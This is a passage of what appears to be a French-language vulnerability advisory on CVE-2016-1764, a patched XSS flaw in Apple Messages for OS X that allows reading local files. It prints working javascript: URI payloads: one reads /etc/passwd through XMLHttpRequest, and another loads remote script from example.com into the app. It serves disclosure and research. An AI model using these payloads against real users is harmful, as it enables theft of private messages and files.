moloch--/cve-2016-1764Extraction de données iMessage via XSS
Vendeur: Apple
Date de publication: 8 avril 2016
Date du correctif: 21 mars 2016
Systèmes affectés: Messages sur OSX Mountain Yosemite, El Capitan
Alors que la majorité des débats récents autour d'Apple se sont concentrés sur la cryptographie, l'industrie et les forces de l'ordre semblent avoir oublié que des vulnérabilités applicatives plus simples peuvent être exploitées pour contourner complètement le chiffrement. CVE-2016-1764, corrigée par Apple en mars 2016, est un bogue au niveau applicatif qui entraîne la divulgation à distance de tout le contenu des messages et pièces jointes en texte clair en exploitant le client iMessage sous OS X. De plus, vous n'avez pas besoin d'un diplôme d'études supérieures en mathématiques pour l'exploiter, ni d'une connaissance détaillée de la gestion de la mémoire, du shellcode ou des chaînes ROP contournant l'ASLR. En fait, il s'agit d'un bogue relativement simple qui peut être exploité par toute personne ayant des connaissances de base en JavaScript.
Messages (iMessage) pour OS X d'Apple implémente son interface utilisateur à l'aide d'une version embarquée de WebKit. De plus, Messages sur OS X rend toute URI comme un lien HTML <a href= cliquable. Un attaquant peut créer une simple URI JavaScript (par exemple, javascript:) qui, lorsqu'elle est cliquée, accorde à l'attaquant une exécution JavaScript initiale (XSS) dans le contexte du DOM de l'application. Bien que la bibliothèque WebKit embarquée utilisée par Messages pour OS X s'exécute dans une origine applewebdata://, un attaquant peut toujours lire des fichiers arbitraires en utilisant des requêtes GET XMLHttpRequest (XHR) vers une URI file:// car aucune politique de même origine (SOP) n'est implémentée. En abusant de XHR pour lire des fichiers, un attaquant peut télécharger l'intégralité de l'historique des discussions et des pièces jointes d'une victime vers un serveur distant aussi rapidement que la connexion Internet de la victime le permet ; la seule interaction utilisateur requise est de cliquer sur un seul lien dans la discussion. De plus, si le transfert SMS est activé, l'attaquant peut également récupérer les messages envoyés/reçus depuis l'iPhone de la victime.
Si vous voulez connaître tous les détails croustillants, lisez la suite.
Messages pour OS X utilise une version embarquée de WebKit pour une grande partie de son interface utilisateur. Lorsque des messages sont envoyés ou reçus par l'application, du HTML est inséré dans le DOM pour rendre l'interface utilisateur et tout contenu multimédia/pièce jointe envoyé. Tous les messages envoyés via l'application sont rendus dans un DOM, donc des vulnérabilités web courantes côté client peuvent affecter l'application.
Lors des tests du client Messages pour OS X, il a été constaté que des schémas de protocole arbitraires étaient automatiquement convertis en liens et insérés dans le DOM. Par exemple, les URI suivantes ci-dessous sont toutes insérées comme liens dans la WebView lorsqu'elles sont envoyées :
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
Comme Messages pour OS X n'implémente pas de liste blanche des protocoles acceptés, un attaquant peut envoyer un message à une victime contenant une URI JavaScript javascript:, qui sera convertie en un lien cliquable sur la machine de la victime.
Une fois cliqué, le WebKit embarqué exécutera fidèlement le JavaScript contrôlé par l'attaquant dans l'origine actuelle, par exemple :
Notez que %0a (c'est-à-dire \n) est utilisé pour échapper le commentaire JavaScript //, qui est nécessaire pour correspondre au motif de liaison de l'analyseur. Une fois le code interprété, il ressemble à :
//bishopfox.com/research?
prompt(1)
En cliquant sur ce lien, une invite JavaScript est déclenchée dans Messages pour OS X :
Cependant, Messages pour OS X est une application de bureau, pas un site web. Par conséquent, le JavaScript est exécuté dans le contexte d'une origine applewebdata:// :
Cependant, le code de l'attaquant s'exécute dans une implémentation WebKit complète, et donc XMLHttpRequest est disponible à l'exécution. L'une des principales différences entre une version embarquée de WebKit et un navigateur web comme Chrome ou Safari est que la version embarquée n'implémente aucune politique de même origine (SOP), puisqu'il s'agit d'une application de bureau native. Un attaquant peut en profiter pour lire des fichiers du système de fichiers local sans violer la politique de même origine en envoyant des requêtes GET XMLHttpRequest vers des URI file://. La seule exigence est que l'attaquant doit connaître le chemin complet du fichier ; les chemins relatifs du système de fichiers (par exemple ~/.ssh/id_rsa) ne peuvent pas être utilisés.
Par exemple, le JavaScript suivant peut être exécuté par le DOM de l'application Messages pour lire le fichier /etc/passwd :
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
Converti en charge utile URI, le code apparaît comme suit :
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Lorsqu'il est cliqué dans l'application Messages, l'invite suivante apparaît :
Comme le vecteur ci-dessus est assez long et semble très suspect, il est possible de raccourcir l'URI en chargeant dynamiquement du JavaScript depuis un domaine et en l'incluant dans le DOM. Par exemple, le vecteur suivant injecte le JavaScript de http://example.com/1.js dans le DOM de Messages :
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Le fichier JavaScript référencé //example.com/1.js dans le vecteur ci-dessus peut contenir des instructions JavaScript arbitraires d'une longueur arbitraire.
Cependant, le bac à sable de l'application OS X restreignait l'accès au système de fichiers uniquement à ~/Library/Messages/* et à certains autres répertoires système non utilisateur comme /etc/.
Lorsque des messages et des pièces jointes sont reçus par Messages sur OS X, ils sont enregistrés dans le répertoire suivant :
/Users/<username>/Library/Messages/*
Le contenu textuel de ces messages et d'autres métadonnées sont stockés dans une base de données SQLite située à :